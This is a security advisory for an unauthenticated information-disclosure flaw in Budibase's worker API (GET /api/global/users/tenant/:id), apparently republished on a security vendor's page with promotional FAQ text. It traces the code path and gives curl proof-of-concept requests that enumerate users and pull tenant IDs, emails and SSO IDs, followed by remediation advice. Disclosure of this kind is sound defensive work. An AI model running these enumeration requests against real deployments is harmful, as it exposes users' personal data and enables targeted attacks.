Summary
Budibase: Unauthenticated user information disclosure via public tenant user lookup endpoint
The Budibase Worker service exposes a public, unauthenticated API endpoint (GET /api/global/users/tenant/:id) that returns sensitive user information including tenantId, userId, email, and ssoId. The endpoint is registered in the PUBLIC_ENDPOINTS list with a TODO comment acknowledging it "should be an internal API." Any unauthenticated party can enumerate user emails or IDs to extract sensitive tenant and user metadata, enabling targeted attacks against multi-tenant deployments.
Details
Public endpoint registration at packages/worker/src/api/index.ts lines 56-59:
// TODO: This should be an internal api
{
route: "/api/global/users/tenant/:id",
method: "GET",
},
This endpoint is listed in PUBLIC_ENDPOINTS, which is passed to auth.buildAuthMiddleware(PUBLIC_ENDPOINTS) at line 154. When a request matches a public endpoint pattern, the authentication middleware sets ctx.publicEndpoint = true and calls next() without performing any authentication (verified at packages/backend-core/src/middleware/authenticated.ts lines 124-126, 249-251).
All subsequent middleware also skips for public endpoints:
buildTenancyMiddleware, passes throughactiveTenant, passes throughbuildCsrfMiddleware, skipped for GET methods (line 48 of csrf.ts)- The
budibaseAccessgate at lines 160-168 explicitly returnsnext()whenctx.publicEndpointis true
Route registration at packages/worker/src/api/routes/global/users.ts line 139:
loggedInRoutes
.get("/api/global/users/tenant/:id", controller.tenantUserLookup)
loggedInRoutes has no auth middleware group, it is created with endpointGroupList.group() (no middleware).
Handler implementation at packages/worker/src/api/controllers/global/users.ts lines 548-562:
export const tenantUserLookup = async (
ctx: UserCtx<void, LookupTenantUserResponse>
) => {
const id = ctx.params.id
// is email, check its valid
if (id.includes("@") && !emailValidator.validate(id)) {
ctx.throw(400, `${id} is not a valid email address to lookup.`)
}
const user = await userSdk.core.getFirstPlatformUser(id)
if (user) {
ctx.body = user // Returns full PlatformUser object, no field filtering
} else {
ctx.throw(400, "No tenant user found.")
}
}
The id parameter accepts either an email address (detected by @ presence) or a user ID. The response returns the full PlatformUser object from packages/types/src/documents/platform/users.ts:
export interface PlatformUserByEmail extends Document {
tenantId: string // Tenant identifier
userId: string // Internal user ID
}
export interface PlatformUserById extends Document {
tenantId: string // Tenant identifier
email?: string // User email address
ssoId?: string // SSO provider identifier
}
export interface PlatformUserBySsoId extends Document {
tenantId: string // Tenant identifier
userId: string // Internal user ID
email: string // User email address
ssoId?: string // SSO provider identifier
}
The lookup function (packages/backend-core/src/users/lookup.ts:48-53) queries the PLATFORM_USERS_LOWERCASE CouchDB view with include_docs: true, returning the complete platform user document including CouchDB _id and _rev.
Affected files:
packages/worker/src/api/index.ts:56-59, Public endpoint registrationpackages/worker/src/api/routes/global/users.ts:139, Route on unauthenticated grouppackages/worker/src/api/controllers/global/users.ts:548-562, Handler returning full user objectpackages/backend-core/src/users/lookup.ts:48-53, Platform user lookup withinclude_docs: truepackages/types/src/documents/platform/users.ts:6-36, PlatformUser types
PoC
Static verification:
- Observe
packages/worker/src/api/index.ts:56-59: endpoint inPUBLIC_ENDPOINTSwith// TODO: This should be an internal api - Trace handler at
packages/worker/src/api/controllers/global/users.ts:548-562: no auth checks, returnsctx.body = user(full object) - Trace middleware chain: all middleware passes through for
ctx.publicEndpoint === true - Confirm no field filtering, sanitization, or authorization between request and response
Dynamic verification (requires running Budibase instance with at least one user):
# No authentication headers or cookies required
# Lookup by email:
curl -s http://localhost:4002/api/global/users/tenant/[email protected]
# Response (200 OK):
# {
# "_id": "[email protected]",
# "_rev": "1-abc123...",
# "tenantId": "tenant-uuid-here",
# "userId": "us_uuid-here"
# }
# Lookup by user ID:
curl -s http://localhost:4002/api/global/users/tenant/us_someuserid123
# Response (200 OK):
# {
# "_id": "us_someuserid123",
# "_rev": "1-abc123...",
# "tenantId": "tenant-uuid-here",
# "email": "[email protected]",
# "ssoId": "google-oauth-id"
# }
# Non-existent user:
curl -s http://localhost:4002/api/global/users/tenant/[email protected]
# Response: 400 "No tenant user found."
# (Different response confirms user enumeration)
Negative case: Requesting a non-existent user returns HTTP 400 with "No tenant user found.", while an existing user returns HTTP 200 with full data. The different status codes confirm user existence, enabling enumeration.
Suggested remediation
- Remove the endpoint from
PUBLIC_ENDPOINTSand move it to internal-only routes, as the TODO comment at line 56 already suggests - Add authentication and authorization if the endpoint must remain accessible, require at least
builderOrAdminrole - Limit returned fields to only what the consumer actually needs (strip
_rev,ssoId, and other sensitive fields) - Return generic 404 for both "not found" and "access denied" to prevent user enumeration
- Add rate limiting to prevent automated mass enumeration
- Regression test: Add a test verifying
GET /api/global/users/tenant/:idreturns 403 without authentication
Impact
This is a CWE-200: Exposure of Sensitive Information to an Unauthorized Actor vulnerability.
Who is impacted: All Budibase deployments, both self-hosted and cloud. The impact is highest for multi-tenant (cloud) deployments where tenant IDs are security boundaries and user enumeration across tenants enables targeted attacks.
An unauthenticated attacker can:
- Enumerate all user accounts by testing known or guessed email addresses against the endpoint
- Extract tenant IDs for any known user, enabling targeted cross-tenant attacks
- Extract user IDs (
userId) for use in other API calls or attacks - Extract SSO identifiers (
ssoId) which may link to external identity providers (Google, OIDC) - Confirm user existence through different HTTP responses (200 vs 400)
- Harvest CouchDB revision tokens (
_rev) which could assist in CouchDB-level attacks
The returned tenant IDs are particularly dangerous in multi-tenant deployments because they identify the security boundary between organizations. Combined with the hardcoded session keys (separate finding), an attacker could use enumerated tenant IDs to craft targeted session fixation attacks.
GHSA-HR66-5MQR-8MPX has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-HR66-5MQR-8MPX? GHSA-HR66-5MQR-8MPX is a high-severity security vulnerability in @budibase/server (npm), affecting versions <= 3.38.1. No fixed version is listed yet.
- How severe is GHSA-HR66-5MQR-8MPX? GHSA-HR66-5MQR-8MPX has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @budibase/server are affected by GHSA-HR66-5MQR-8MPX? @budibase/server (npm) versions <= 3.38.1 is affected.
- Is there a fix for GHSA-HR66-5MQR-8MPX? No fixed version is listed for GHSA-HR66-5MQR-8MPX yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-HR66-5MQR-8MPX exploitable, and should I be worried? Whether GHSA-HR66-5MQR-8MPX is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-HR66-5MQR-8MPX is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.